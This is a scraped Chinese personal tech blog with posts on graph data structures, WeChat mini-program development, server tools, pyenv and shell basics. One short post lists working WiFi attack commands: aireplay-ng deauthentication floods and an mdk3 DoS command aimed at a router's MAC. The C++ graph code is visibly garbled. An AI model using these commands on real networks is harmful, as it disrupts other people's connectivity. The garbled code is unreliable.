在第i行的单链表中,各节点(或称边节点)分别存放与同一个顶点Vi关联的各条边。各个节点配有其标识(及对应的顶点)和权值(若为有权图)以及指向另一个边节点的指针。

*邻接多重表表示

邻接多重表的表示,主要一处理图的边为主(为什么会有这个需求?在什么情况会用到?),要求每条边处理一次的实际应用中特别有用(比如?)。它的主要思想是把多重表结构引入到图的邻接表中,就有点像把边作为研究的基本单位,用一个多重表节点来表示一条边。

*十字链表表示

此为百度词条:十字链表(Orthogonal List)是有向图的另一种链式存储结构。该结构可以看成是将有向图的邻接表(和逆邻接表结合起来得到的。用十字链表来存储有向图,可以达到高效的存取效果。同时,代码的可读性也会得到提升。

我该选什么存储结构

首先,交通道路网络是双向的,所以我们可以将其视为无向图; 其次在一座城市的交通网络下,道路E 与路口 n的关系是 E « n^2,而且道路是会出现两点之间多条路的情况(即多重图)所以我舍弃第一种方法; 后面两种表示方式其实我也是一知半解,我有种感觉,如果在交通道路的分层模型下,可能第三种方式要更具优势,但是目前还想不了那么远。所以我暂时选用第二种方式,用邻接表表示。

我的实现代码

(代码年久失修,已失去完整内容,仅供参考)

Graph_lnk.h // V1.0.1


pragma once

# include 

using namespace std; 

int DefaultMaxVertices = 500; //最大顶点数

    auto memory_error = [](char * function, string aim) {    

    cerr << function << "申请" << aim.c_str() << "内存分配错误" << endl;

    exit(1);

}; //内存申请错误的提示lamba表达式



struct Edge {  

int dest; //标记关系节点

double weight;//权值

Edge * link;//指向边的指针

Edge(int num, double weight): dest(num), weight(weight), link(nullptr) {} 

};



struct Vertex {

string data; //道路口的信息,暂时用string

Edge * adj; //指向边的指针

Vertex(string data = "点"): data(data), adj(nullptr) {} 

};  



class Graph_lnk {  

friend ostream & operator << (ostream & in, Graph_lnk & G); //运算符重载,图的输出



public: 

Graph_lnk(int sv = DefaultMaxVertices);

~Graph_lnk();  

int NumberOfVertices() {  return numVertices; } //返回当前顶点数

int NumberOfEdges() {  return numEdges; } //返回当前边数

Vertex getVertex(return NodeTable[v]; } //返回该节点  

								

string getValue(int v) {return NodeTable - > data;} //返回道路信息  

								

bool insertEdge(int v1, int v2, double weight); //插入一条边  

								

bool insertVertex(string data); //插入一个路口  

								

protected: int numVertices; //当前顶点数  

								

int numEdges; //当前边数  

								

private: Vertex * NodeTable;  

								

};  

							

Graph_lnk::Graph_lnk(int sv) {  

								

	numVertices = sv;  

						

	numEdges = 0;  

						

	NodeTable = new Vertex[DefaultMaxVertices];  

								

	if (NodeTable == nullptr) {  

								

		memory_error(__func__, "NodeTable");  

								

	}  

						

	for (int i = 0; i };  

						

bool Graph_lnk::insertEdge(int v1, int v2, double weight) {  

												

if (v1 >= 0 && v1 = 0 && v2 

								

				        Edge * q = nullptr, * p = nullptr;  

						

				        if (NodeTable[v1].adj != nullptr) {  

								

				            p = NodeTable[v1].adj;  

						

				            q = p - > link;  

						

				            while (q != nullptr) {  

								

				                p = q;  

						

				                q = p - > link;  

						

				            }  

						

				            q = new Edge(v2, weight);  

								

				            p - > link = q;  

						

				        } else {  

								

				            NodeTable[v1].adj = new Edge(v2, weight);  

								

				        }  

						

				        if (NodeTable[v2].adj != nullptr) {  

								

				            p = NodeTable[v2].adj;  

						

				            q = p - > link;  

						

				            while (q != nullptr) {  

								

				                p = q;  

						

				                q = p - > link;  

						

				            }  

						

				            q = new Edge(v1, weight);  

								

				            p - > link = q;  

						

				        } else {  

								

				            NodeTable[v2].adj = new Edge(v1, weight);  

								

				        }  

						

				        numEdges++;  

						

				    }  

						

				    return 0;  

								

				}  

						

				bool Graph_lnk::insertVertex(string data) {  

						

				    if (numVertices == DefaultMaxVertices) return false;  

												

				    else {  

								

				        NodeTable[numVertices].data = data;  

						

				        NodeTable[numVertices].adj = nullptr;  

						

				        numVertices++;  

						

				    }  

						

				    return true;  

										

				}  

						

				    

 Graph_lnk::~Graph_lnk() {  

						

	delete[] NodeTable;  

								

};

分析与理由

在交通道路网络图的构建中,一定需要的两个函数insertEdge();和insertVertex(); 我使用两个主要的数据结构,Edge(表示边),Vertex(表示点)。用它们的集合来表示整个图,这样做可以有效的利用空间?(但是还是申请了VerTex(500))

📅 2019-12-07
大家好,我是醉月思

大家好,我是醉月思。

为什么我叫"醉月思"呢?这要追溯到很久很久以前,大约还是我在读高二的某一天晚上,有位朋友告诉我:“你的名字好中二啊!"。

刹那间,我恍然大悟,我怎么叫了个这样的网名“银慧空狼”(话外音:我TM当时脑袋是瓦特了吗?起了个这样的名字!)。

于是我坐在台阶上苦思冥想,立誓要起一个符合我气质的名字,要让人家见名知意,然后知其人。终于,在我某一刻抬头仰望夜空之时,灵光一现!

月夜.png

便想到了“醉月思”这个网名。于是,我屁颠屁颠的将一个中二的网名进行了"二转”————变成了一个比较含蓄的中二网名。

狼-夜.png

看出来没??引用当时一句比较潮的话,我也是醉了。。。从此,醉月思这个“二转”含蓄中二网名便陪我到现在。

2019-11-30T08:08:14.png

直到我上大学,我突然意识到,有着自己独特的网名还不能凸显我的气质,我应该还得拥有一个属于自己的专属头像。

放荡不羁.png

最开始,我使用的是这个头像。

小男孩头像

后来,由于某些原因我需要换掉这个头像。我就找了一个我喜欢的动漫的男女主头像————我当时以为的男女主,因为初中看过之后就直接看到后面的剧情感觉怪怪的,所以就没怎么看。如下图

现在的头像

以后“醉月思”和这个头像就成了我的第二身份标识,下面,就是一些个人经历回忆。

时间线

  • 2015年10月,编(chao)写了人生第一个程序a+b=c(居然不是hello world)。

  • 2015年11月,人生第一个游戏编写成功,也是第一次发圈装逼

2019-11-30T07:40:52.png

  • 2016年6月,第一次使用C++做界面

2019-11-30T07:39:38.png

  • 2016年8月,第一次以醉月思的名义在CSDN上发表人生第一篇博客

2019-11-30T07:52:37.png

  • 2016年9月,第一次解除java,并试图反编译APP

2019-11-30T08:00:10.png

  • 2016年10月,第一次上线"拼图游戏"

2019-11-30T08:02:52.png

  • 2016年10月,注册个人公众号。

2019-11-30T08:23:56.png

  • 2016年10月,注册域名“thinkmoon.cn”

2019-11-30T08:14:24.png

  • 2016年12月,第一次搭建个人博客网站

2019-11-30T07:41:32.png

  • 2017年1月,第一次接触Linux,然后就把电脑装为linux了

2019-11-30T08:04:17.png

  • 2017年2月,第一次使用脚本语言爬取四六级成绩

2019-11-30T08:05:08.png

  • 2017年4月,第一次打算组建个Team来运营公众号

2019-11-30T07:58:52.png

  • 2017年6月,完成第一个"微信小程序"。

2019-11-30T07:36:57.png

  • 2017年7月,人生第一个软件上线。

2019-11-30T07:38:24.png

  • 2017年9月,开始熟悉JavaScript

2019-11-30T07:54:26.png

  • 接下来的有兴趣的去我博客看吧。

一些成果展示。

  • 博客数据概览

2019-11-30T08:28:34.png

  • 篆书转换器小程序数据概览

2019-11-30T08:30:11.png

  • 指尖魔法屋公众号数据概览

2019-11-30T08:35:59.png

  • 博客收益数据概览

2019-11-30T08:35:30.png

后记

我庆幸我有着写博客的习惯,算上这篇,博客文章加上水文,刚好凑够了100篇,当时我就在想,到了100篇,我一定要写点什么。现在看来,也算是半个百篇总结吧。最后,愿我可以将这个习惯坚持下去!

后后记

本来是想写一篇广告文的,写着写着就偏离了主题。文末打波广告,这是我最近开发的博客小程序,对接typecho的。大家有钱的点个赞赏捧个钱场,不想赞赏的扫码进入捧个人场?在此,我谢谢大家这几年来的支持和陪伴,愿我们彼此交流,共同成长!

2019-11-30T08:49:11.png

📅 2019-12-06

为啥需要这个?

有时候我们写微信小程序,写好了。在手机上运行感觉效果还不错,正想分享给别人。突然发现没有分享选项,纳尼?原来是忘记写onShareAppMessage()了。有得加上,再编译。不得不说,麻烦的一匹。

应运而生

然后我就想,要是可以让默认支持分享就好了。

wepy实现方法

大致思路


import wepy from 'wepy';

export default class Page extends wepy.page {

}

分析代码,发现所有的page都继承于wepy.page, 而wepy.page又继承于wepy.component. 这感情好。也就意味着我只需要构建一个超类继承wepy.page就可以了

实践

新建page.js文件,内容如下


import wepy from 'wepy';

export default class Page extends wepy.page {

    onShareAppMessage() {

        

    }

}

然后再调整一下页面继承


import Page from '../page';

export default class Index extends Page {

}

编译运行,果然如此!

如果要自定义分享内容怎么办?

在子page里面重构onShareAppMessage就可以啦。

tips: 现使用uni-app后发现已经默认支持分享了

后续: uni-app说这是个BUG,已经修复了。。

后备方案——使用mixin全局混入

  1. 在main.js中添加以下内容。

import qs from 'query-string'

Vue.mixin({

	onShareAppMessage() {

		console.log('分享路径', '/pages/index?route=' + this.$mp.page.route + '&' + qs.stringify(this.$mp.query))

		return {

			path: '/pages/index?route=' + this.$mp.page.route + '&' + qs.stringify(this.$mp.query)

		};

	}

})

以上代码实现了所有页面都支持转发,并将转发路径设为主页。

📅 2019-11-25
uni-app使用fly封装网络请求接口

介绍

本文采用uni-app框架开发,使用flyio库封装请求。

安装方式


npm install --save flyio

引入方式

新建api.js文件,编写以下内容


var Fly = require("flyio/dist/npm/wx")

var fly = new Fly;

配置方式


// 配置请求根域名

fly.config.baseURL = "http://whisper.wezoz.com"

// 配置响应拦截器

fly.interceptors.response.use(

	(response) => {

			// 如果请求报错

			if (response.data.code != 10000) {

				uni.showModal({

					title:'温馨提示',

					content:response.data.data

				})

			}else{

				//只将请求结果的data字段返回

				return response.data.data

			}

		},

		(err) => {

			//发生网络错误后会走到这里

			return Promise.resolve("网络请求:ERROR!")

		}

)

// 配置请求拦截器

fly.interceptors.request.use((request) => {

	request.headers["token"] = uni.getStorageSync('token');

	return request;

})

同步封装微信登录


async function wxLogin() {

	return await new Promise((resolve, reject) => {

		wx.login({

			success(res) {

				if (res.code) {

					resolve(res.code)

				}

			}

		})

	})

}

写一个接口如login

📅 2019-11-22
百度与谷歌的差距在哪?

2019-10-16T02:05:03.png

前言

最开始是没有搜索引擎的,后来有了谷歌,也就有了搜索引擎。但别人却一直模仿不过来,直到谷歌公布了三篇论文,然后有了百度。

时至今日,谷歌与百度已经不单单是搜索引擎了,始于搜索引擎,但又都不止于搜索引擎,但是谷歌却一直在被模仿从未被超越。所以百度与谷歌的差距究竟在哪呢?

搜索引擎

个人在使用两家的搜索引擎有个很明显的感觉,百度能搜到的内容少而单一,谷歌则好些。但这还有一部分原因是GFW,被GFW拦住的网站,是注定在百度排不上号的。所以内容少并不能完全怪百度。内容重复或者参考价值不大的情况两个平台都有,百度结果比较多文章转载的,而谷歌则经常出现各种搜索集合网站,如下

2019-11-21T03:19:05.png

做这些产业的人,都已经非常熟悉搜索引擎的规则, 纯粹的营销网站罢了.这个也很难避免,有搜索规则就有人能摸索出来(顺便一提,我的网站怎么老是排不上名呢)

未完待续

📅 2019-11-21

所有的路口标号用int road[8]表示,

bool status[8][8]表示道路可否通行。

T字路口


T字路口

对于T字路口,将道路分为(左,右,下)三个流量出入口,存在的状态有:

0. 全红(特殊状态应对突发事故)


     for (int i = 0; i < 8; i++) {

        for (int j = 0; j < 8; j++) {

            status[i][j] = false;

        }

    }

×|0|1|2|3|4|5

:–: | :–: | :–: | :–: | :–: | :–: |

0|×|×|×|×|×|×

1|×|×|×|×|×|×

2|×|×|×|×|×|×

3|×|×|×|×|×|×

4|×|×|×|×|×|×

5|×|×|×|×|×|×

正常状态下考虑红灯可右转,同向变道不受交通灯控制,即永远可通行


status[2][1] = status[4][3] = true;

status[0][1] = status[2][3] = status[4][5] = true;

×|0|1|2|3|4|5

:–: | :–: | :–: | :–: | :–: | :–: |

0||@||||

1||||||

2||@||@||

3||||||

4||||@||@

5||||||

同时需要限制逆行,即永远不可通行


// 出口不能自转和变道

status[0][0] = status[0][2]  = status[0][4]  = false;

status[4][4] = status[4][0]  = status[4][2]  = false;

status[2][2] = status[2][0]  = status[2][4]  = false;

// 入口不能出去

status[1][0] =status[1][1]  = status[1][2] = status[1][3]   = status[1][4] = status[1][5] = false;

status[3][0] =status[3][1]  = status[3][2] = status[3][3]   = status[3][4] = status[3][5] = false;

status[5][0] =status[5][1]  = status[5][2] = status[5][3]   = status[5][4] = status[5][5] = false;

×|0|1|2|3|4|5

📅 2019-11-19

遇到的一些问题

Imageio: ‘ffmpeg-linux64-v3.3.1’ was not found on your computer; downloading it now.

解决办法:

sudo add-apt-repository -y ppa:djcj/hybrid && sudo apt update && sudo apt install -y ffmpeg

我直接运行了,然后它自动下载安装了。

📅 2019-10-28
我的神奇笔记

唔,这个配色是我乱打然后筛选出来较为柔和的配色

<font

color="#616161"

id=“9116994572745c660f40296d7683c991cd273cca”>

字体色#616161

前景色:#EFEFEF
背景色:#FF6666
前景色:#EEEEEE
背景色:#55EF55
前景色:##E5E5E5
背景色:#554455
📅 2019-10-28

原项目代码类图

各类文件解析(按难度排序)

    <li><strong>Point (坐标类,使用经度,维度用来表示一个点)
    

Point.h

    <li>
    
    #  

    <li>
    
    pragma once class Point {  

    <li>
    
        public: Point(double longitude, double latitdue);  

    <li>
    
        bool operator == (Point & point);  

📅 2019-10-28

IDEA下开发JavaFx Application

New > project > JavaFx Application

添加SceneBuilder

  1. 下载SceneBuilder
  1. file | setting > JavaFx > add path

设置自定义图标

primaryStage.getIcons().add(new Image("file:res/internet.png"));

打包生成exe

File | project structure > Artifacts > JavaFx >(class | title | Navite Bundle)

注意目录文件要能找到

事件绑定

fxml

onAction add

Java

添加函数

fx:id 对象属性修改

  1. 添加一个fxml成员变量
  1. 调用setText("");

我的代码

MainApp.fxml


<?xml version="1.0" encoding="UTF-8"?>



<?import javafx.geometry.Insets?>

<?import javafx.scene.control.Button?>

<?import javafx.scene.control.DialogPane?>

<?import javafx.scene.control.Label?>

<?import javafx.scene.control.TextArea?>

<?import javafx.scene.control.TextField?>

<?import javafx.scene.layout.FlowPane?>

<?import javafx.scene.layout.Pane?>

<?import javafx.scene.text.Font?>



<FlowPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="800.0" xmlns="http://javafx.com/javafx/8.0.121" xmlns:fx="http://javafx.com/fxml/1" fx:controller="cn.thinkmoon.CSMA_CD.MainApp">

<children>

    <Pane prefHeight="400.0" prefWidth="800.0">

        <children>

            <Button layoutX="154.0" layoutY="206.0" mnemonicParsing="false" onAction="#handleSendDataPackage" text="发送数据包">

                <font>

                    <Font size="14.0" />

                </font></Button>

            <Button layoutX="283.0" layoutY="206.0" mnemonicParsing="false" text="重置操作">

                <font>

                    <Font size="14.0" />

                </font></Button>

            <TextArea layoutX="500.0" layoutY="51.0" prefHeight="299.0" prefWidth="277.0" />

            <Label fx:id="host1SendNum" layoutX="43.0" layoutY="70.0" text="主机1所需发送的数据包数:">

                <font>

                    <Font size="17.0" />

                </font>

            </Label>

            <Label layoutX="43.0" layoutY="130.0" text="主机2所需发送的数据包数:">

                <font>

                    <Font size="17.0" />

                </font>

            </Label>

            <Label layoutX="52.0" layoutY="291.0" text="主机1">

                <font>

                    <Font size="18.0" />

                </font>

            </Label>

            <Label layoutX="410.0" layoutY="291.0" text="主机2">

                <font>

                    <Font size="18.0" />

                </font>

            </Label>

            <TextField layoutX="279.0" layoutY="71.0" />

            <TextField layoutX="279.0" layoutY="130.0" />

            <Label layoutX="292.0" layoutY="14.0" text="模拟以太网发送过程">

                <font>

                    <Font size="17.0" />

                </font>

            </Label>

            <Label layoutX="48.0" layoutY="327.0" style="-fx-border-width: 1; -fx-border-color: #218ada;" styleClass="tip" text="信道空闲" textFill="#218ada">

                <padding>

                    <Insets bottom="2.0" left="2.0" right="2.0" top="1.0" />

                </padding>

            </Label>

            <Label layoutX="406.0" layoutY="327.0" style="-fx-border-width: 1; -fx-border-color: #218ada;" styleClass="tip" text="信道空闲" textFill="#218ada">

                <padding>

                    <Insets bottom="2.0" left="2.0" right="2.0" top="1.0" />

                </padding>

            </Label>

            <TextField layoutX="114.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="140.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="170.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="199.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="226.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="257.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="283.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="311.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="340.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

            <TextField layoutX="369.0" layoutY="292.0" prefHeight="23.0" prefWidth="19.0" />

        </children>

    </Pane>

      <DialogPane />

</children>

</FlowPane>

MainApp.java

📅 2019-10-28

技术介绍

Wepy

image

云开发

开发者可以使用云开发开发微信小程序、小游戏,无需搭建服务器,即可使用云端能力。

云开发为开发者提供完整的云端支持,弱化后端和运维概念,无需搭建服务器,使用平台提供的 API 进行核心业务开发,即可实现快速上线和迭代,同时这一能力,同开发者已经使用的云服务相互兼容,并不互斥。

目前提供三大基础能力支持:

  1. 云函数:在云端运行的代码,微信私有协议天然鉴权,开发者只需编写自身业务逻辑代码

  2. 数据库:一个既可在小程序前端操作,也能在云函数中读写的 JSON 数据库

  3. 存储:在小程序前端直接上传/下载云端文件,在云开发控制台可视化管理

安装WePy

WePY的安装或更新都通过npm进行。

如果你未安装过npm,你可能需要先安装npm


npm install wepy-cli -g

注: 我这使用的版本是

创建一个WePy项目

首先,查看一下项目模板


wepy list

他会在这里列出一些模板,你选择你喜欢的安装。

wepy init standard my-project

📅 2019-10-28

安装nodejs


sudo apt-get install nodejs

安装npm


sudo apt install npm

改镜像源


sudo npm config set registry https://registry.npm.taobao.org

sudo npm config list

升级node


sudo npm i -g n

sudo n stable

安装Vue


npm install -g @vue/cli

引入less文件失败

安装less,和less-loader

npm i --save less less-loader

iview自定义主题失败

两个解决方案

  1. less降级为3以下,比如2.7.3

  2. 配置vue.config.js(未实践)


module.exports = {

	css: { // 配置css模块

    	loaderOptions: { // 向预处理器 Loader 传递配置选项

        	less: { // 配置less(其他样式解析用法一致)

            		javascriptEnabled: true // 设置为true

        	}

    	}

	}

}
  1. 报错

ERROR in ./~/less-loader!./~/autoprefixer-loader!./src/styles/mytheme.less Module parse failed:

E:\ProjectDemo\vue\IVIEW\node_modules\less-loader\index.js!

E:\ProjectDemo\vue\IVIEW\node_modules\autoprefixer-loader\index.js

!E:\ProjectDemo\vue\IVIEW\src\styles\mytheme. less Unexpected token (1:0) 

You may need an appropriate loader to handle this file type. | .ivu-load-loop {

| animation: ani-load-loop 1s linear infinite; |

}

修改webpack配置

📅 2019-10-28

一个利用PHP群发微信消息的工具。上一篇讲到了如何用Server酱推送消息到个人微信,这篇我们一起来了解一下Server酱的进化版——pushbear,一对多微信消息推送

Server酱的局限

  • ==首先这里的SCKEY与userID只是简单的一对一的关系,但其实如果做成一对多更好。因为这样便可以群发通知 #801400==

  • ==她这儿的的分享链接里面包含了很多个人敏感的信息,而其实这在微信的标准里面是不安全的。 #801900==

老规矩,PushBear官网(https://pushbear.ftqq.com/admin/#/)

PushBear

使用流程

1.使用微信扫码登录网站

扫码登录

这个比Server好的地方就是它不需要使用github账号登录了,直接扫码即可。

2.新建通道

新建通道

这里的通道的意思你可以把它,看作一个群。每一个通道负责群发消息到绑定这个管道 的微信。

3.绑定用户到通道

绑定用户

这个也特别的方便,直接扫描订阅二维码即可

4.发送测试消息

发送测试消息

打开测试表单啦,然后测试

测试表单

5.使用PHP群发消息到微信

一个函数就可以了,


function weixin_notify($header,$content){

    $SENDKEY = "1218-f6*************0b98d0a2e10fdd2";//微信通知KEY

    file_get_contents('https://pushbear.ftqq.com/sub?sendkey='.$SENDKEY.'&text='.urlencode($header).'&desp='.urlencode($content));

}

6.效果展示

预览消息

消息内容

总结

原理什么的,这次就不解释了,上一篇已经解释过了。

现在我们已经可以利用Server酱发送服务器报警消息至开发者微信。

然后再利用PushBear群发业务消息到用户微信。完美对接业务以及管理逻辑。

是不感觉特别的方便?

📅 2019-10-28

我们都知道,微信开发者工具是没有linux版的,还是有点难受。好在有大神迁移了。

1. 下载项目


git clone https://github.com/cytle/wechat_web_devtools.git

2. 进入目录


cd wechat_web_devtools

3. 自动下载最新 nw.js , 同时部署目录 ~/.config/微信web开发者工具/


./bin/wxdt install

最好先切换npm淘宝源npm太慢使用淘宝npm镜像

4. 运行


./bin/wxdt

7. 错误排除

1. 提示“小程序重启耗时过久,请确认业务逻辑中是否有复杂运算或死循环”

解决方案:apt-get install wine-binfmt

📅 2019-10-28
windows控制台字体分享

为什么有些字体无法设置为控制台字体?

字体设置

因为windows对控制台的字体,有着极其严格的要求,只有满足要求的字体才能够被设置。

windows字体要求

原文已经找不到了,内容如下

windows字体要求

推荐的字体

Microsoft.YaHei.Mono

microsoft_yahei_mono字体是一款有着高辨识度的微软字体,字形清晰美观可读性强,电脑屏幕显示效果好,看着十分舒服,非常适合编程员使用

效果预览

2019-10-14T03:00:01.png

参考资料

  1. 自定义 Windows PowerShell 和 cmd 的字体

  2. Microsoft Support: Console (CMD) Fonts

📅 2019-10-25
axure 9 绘制一个TAB选项卡原型

1. 创建一个Dynamic panel

2019-10-17T00:43:02.png

2. 添加面板状态

双击动态面板,点击state1添加,编辑面板状态

2019-10-17T00:47:06.png

添加至三个面板状态

2019-10-17T00:48:58.png

3. 创建选项卡

2019-10-17T00:45:12.png

确保是在对应的state里面添加

2019-10-17T00:50:59.png

4. 添加选项卡点击事件

为选项卡添加点击切换到对应的state的状态

2019-10-17T00:53:25.png

依次添加直至所有选项卡都有可切换到对应state的点击事件

2019-10-17T00:55:31.png

5. 设置响应状态

在不同的state下,设置对应state应该显示的效果

state1的效果

依次将组件复制到其他state并设置对应显示效果

2019-10-17T01:02:59.png

6. 预览效果

tab.gif

📅 2019-10-25

比较官方的解释

伪类

伪类选择元素基于的是当前元素处于的状态,或者说元素当前所具有的特性,而不是元素的id、class、属性等静态的标志。由于状态是动态变化的,所以一个元素达到一个特定状态时,它可能得到一个伪类的样式;当状态改变时,它又会失去这个样式。由此可以看出,它的功能和class有些类似,但它是基于文档之外的抽象,所以叫伪类。

伪元素

伪元素是对元素中的特定内容进行操作,它所操作的层次比伪类更深了一层,也因此它的动态性比伪类要低得多。实际上,设计伪元素的目的就是去选取诸如元素内容第一个字(母)、第一行,选取某些内容前面或后面这种普通的选择器无法完成的工作。它控制的内容实际上和元素是相同的,但是它本身只是基于元素的抽象,并不存在于文档中,所以叫伪元素。

一级标题

二级标题

三级标题

四级标题

📅 2019-10-16

supervisor是一个守护进程工具

安装


yum install -y supervisor

配置

安装后会生成如下内容

2019-09-03T02:33:19.png

我们查看一下/etc/supervisord.conf,发现文件最后一行

2019-09-03T02:39:38.png

这就是在提示我们把配置文件写supervisord.d目录下的ini文件里。

创建配置文件

  1. 首先切换到supervisord.d目录

  2. touch frps.ini

  3. nano frps.ini

  4. 复制以下内容(示例为运行frps服务端)


[program:frps]

user=root

command=/root/frp/frps/frps -c /root/frp/frps/frps.ini

startsecs=1

startretries=100

autorstart=true

autorestart=true

stderr_logfile=/tmp/err-frps.log

stderr_logfile_maxbytes=50MB

stderr_logfile_backups=10

stdout_logfile=/tmp/out-frps.log

stdout_logfile_maxbytes=50MB

stdout_logfile_backups=10

tips


supervisorctl status //查看状态

supervisorctl reload //重载配置文件

运行


supervisorctl reload

supervisord -c /etc/supervisord.conf

然后再配置好开机自启就OK了

📅 2019-09-03

简单的python版本管理器: pyenv

pyenv可以让你轻松的在各版本的python环境中切换自如,它是一个简单而又不引人注目并遵循UNIX传统的专用工具。

这个项目是从rbenvruby-buildfork而来, 并且在配合Python的情况下做了适当的修改.

Terminal output example

pyenv能做什么?

  • 让你在用户基础上改变全局Python版本.

  • 支持为每一个项目设立一个Python版本.

  • 允许您使用环境变量覆盖Python版本.

  • 多个python环境中搜索命令,这有助于在Python版本中进行测试 tox.

与pythonbrew和pythonz相比,pyenv不能做什么?

  • 不依赖于Python本身。 pyenv是由纯shell脚本制作的。没有Python的引导问题。

  • **不需要加载到你的shell中。**相反,pyenv的shim方法的工作原理是在$ PATH中添加一个目录。

  • 不能管理virtualenv 当然你可以自行创建virtualenv virtualenv或者使用pyenv-virtualenv去自动化构建

工作原理

在较高的层次上,pyenv使用shim拦截Python命令注入PATH的可执行文件, 确定哪个Python版本已由您的应用程序指定,并传递您的命令使用你想要的Python安装版本。

理解PATH(环境变量路径)

当你执行命令,如python或者pip, 你的操作系统会搜索目录列表以查找可执行文件的那个名字.此目录列表位于环境变量中称为PATH, 列表中的每个目录使用用冒号分隔.

PATH.png

PATH中的目录从左到右搜索,因此首先匹配在列表开头的目录中的可执行文件, 然后一次往右匹配。在这个例子中,首先搜索/usr/local/sbin目录,然后搜索/usr/local/bin,然后是/usr/sbin

理解Shims(垫片)

pyenv的工作原理是在你的PATH前面插入一个shims目录,这样一来系统在搜索Python的时候第一个找到的就是pyenv管理的Python环境。这个插到最前面的路径就叫做垫片(shims)

$(pyenv root)/shims:/usr/local/bin:/usr/bin:/bin

通过一个叫做为_rehashing_的进程, pyenv维护shims目录以匹配每个已安装版本的每个Python命令,比如pythonpip等。

垫片是轻量级可执行文件,只是简单地传递命令到pyenv。所以只要安装了pyenv,当你运行时,比如说,pip,你的操作系统将执行以下操作:

  • PATH中搜索名为pip的可执行文件

  • PATH的开头找到名为pip的pyenv垫片

  • 运行名为pip的垫片,然后将命令传递给属于pyenv的pip命令

选择Python版本

执行shims程序时,pyenv会确定要使用的Python版本,并按此以下资源顺序读取:

  1. PYENV_VERSION环境变量(如果指定). 你可以使用pyenv shell 去设置环境变量在你当前shell session.

  2. 当前特定于应用程序的.python-version文件目录(如果有). 您可以使用 pyenv local修改当前目录.python-version文件.

  3. 通过搜索每个上层目录,找到第一个.python-version文件(如果有的话),直到到达文件系统的根目录

  4. 全局$(pyenv root)/version文件. 您可以使用pyenv global 修改这个文件. 如果是该全局文件不存在,pyenv假设您要使用“系统”Python。(换句话说,如果pyenv不在您的PATH中,那么任何版本都会运行.)

NOTE: 您可以同时激活多个版本,甚至包括Python2或Python3的任何版本. 这允许平行使用Python2和Python3,并且需要像tox这样的工具. 例如,要设置你的首次使用的系统Python和Python3的路径(在这个例子中设置为2.7.9和3.4.2),但也可以在你的PATH使用Python 3.3.6,3.2和2.5,首先是pyenv install缺少的版本,然后设置pyenv全局3.3.6 3.2 2.5.这时, 使用pyenv which应该能够找到每个可执行路径, 例如pyenv which python2.5(应该显示$(pyenv root/versions/2.5 /bin/python2.5) 或者pyenv which python3.4(应该显示系统Python3路径). 您还可以指定多个.python-version`文件中的版本,由换行符或任何空格分隔。

📅 2019-09-03

1. 查看网卡


ifconfig

2. 打开网卡混杂模式


airmon-ng start wlan0

3. 嗅探附近AP


airodump-ng wlan0mon

4. 发动deauth攻击使目标重连


aireplay-ng -0 [攻击数量] –a [路由器MAC] -c [客户端MAC] wlan0mon
  1. 攻击数量设为0为无限循环模式

  2. 路口器MAC地址为必填项

  3. 客户端MAC,可不填则对路由器所有的客户端进行攻击

5. 对路由器Dos攻击


sudo mdk3 mon0 a -a D4:83:04:9F:37:28
📅 2019-07-26
微信小程序通过uni-app实现v-html渲染视图

v-html介绍

如果不使用v-html而是直接将html标签加入视图层会出现html标签不解析的情况,如果我们想实现解析的效果。vue中提供了v-html指令。使用 v-html 指令,你可以将html标签解析渲染到视图层。

微信小程序如何使用?

由于微信小程序只是类vue的,与vue存在着很多不同点。但是为了秉承将vue进行到底的宗旨,很多微信小程序开发框架如雨后春笋。在我使用的过程中,感觉uni-app与vue最为贴近,而且适配了很多vue的特性,如:v-model,filters,v-html等。官网是这样介绍的。

uni-app支持的vue特性

其中,他们是通过微信小程序rich-text的属性来实现v-html的效果的。所以,我们想知道支持什么标签,就得移步至rich-text | 微信开发文档

开始实现Demo

demo 中的需求是一个赛事报名list,其中赛事状态有,预报名,报名成功,正在进行,已结束等。

预实现方法:由于微信小程序的rich-text组件会禁用所有的节点事件,所以想通过@click绑定v-html节点事件,filter渲染界面。但是在实现过程中发现不支持在v-html中使用filter, 故后来采用methods的返回值来实现视图层的渲染。

methods实现v-html渲染

效果如下:至此效果,v-html解析成功

v-html 渲染效果

添加状态判断

最终效果

📅 2019-07-02

rpx单位

rpx(responsive pixel): 可以根据屏幕宽度进行自适应。规定屏幕宽为750rpx。要实现4:3的展示则可以


image{

    width:750rpx;

    height:563rpx;

}

使用组件库,写的css样式优先级太低

不管三七二十一,加!important


.findButton {

  width:300px !important;

  height:35px !important;

}

样式各种飘,不居中怎么办?


<view class="nickName">

  <view>{{userInfo.nickName}}</view>

</view>

.nickName {

  width: 100%;

  display: flex;

  align-items: center;

  justify-content: center;

  height: 44px;

}

selectedColor无效

selectedColor 和 list 是同级别的。写在list数组外面就可以了。

背景虚化

blur中的参数是虚化比例


filter: blur(1px);

scroll-view设置`scroll-x"也不会横向滚动

要给scroll-view加上white-space: nowrap; ,给scroll-view的子元素box加上display:inline-block;

📅 2019-07-02
Shell入门

本文诞生原因:作为一个程序员,居然不会shell,说起来也尴尬。

基本格式


#!/bin/bash

...

Shell变量

  1. Shell变量定义不需要关键字,直接定义,不要加$。如name = "hello"

  2. Shell变量使用的时候需要加$, 花括号为可选项,但是为了让程序可以分清边界,一般使用花括号。如echo ${name}

只读变量

在前面加readonly

如:


#!/bin/bash

name="Hello"

readonly name

删除变量

在前面加unset

变量被删除后不能再次使用。unset 命令不能删除只读变量。

如:


#!/bin/sh

name="Hello"

unset name

shell获取输入

read - 从标准输入读取数值,命令语法:


read: read [-ers] [-a array] [-d delim] [-i text] [-n nchars] [-N nchars] [-p prompt] [-t timeout] [-u fd] [name ...]

    从标准输入中读取一行。

    

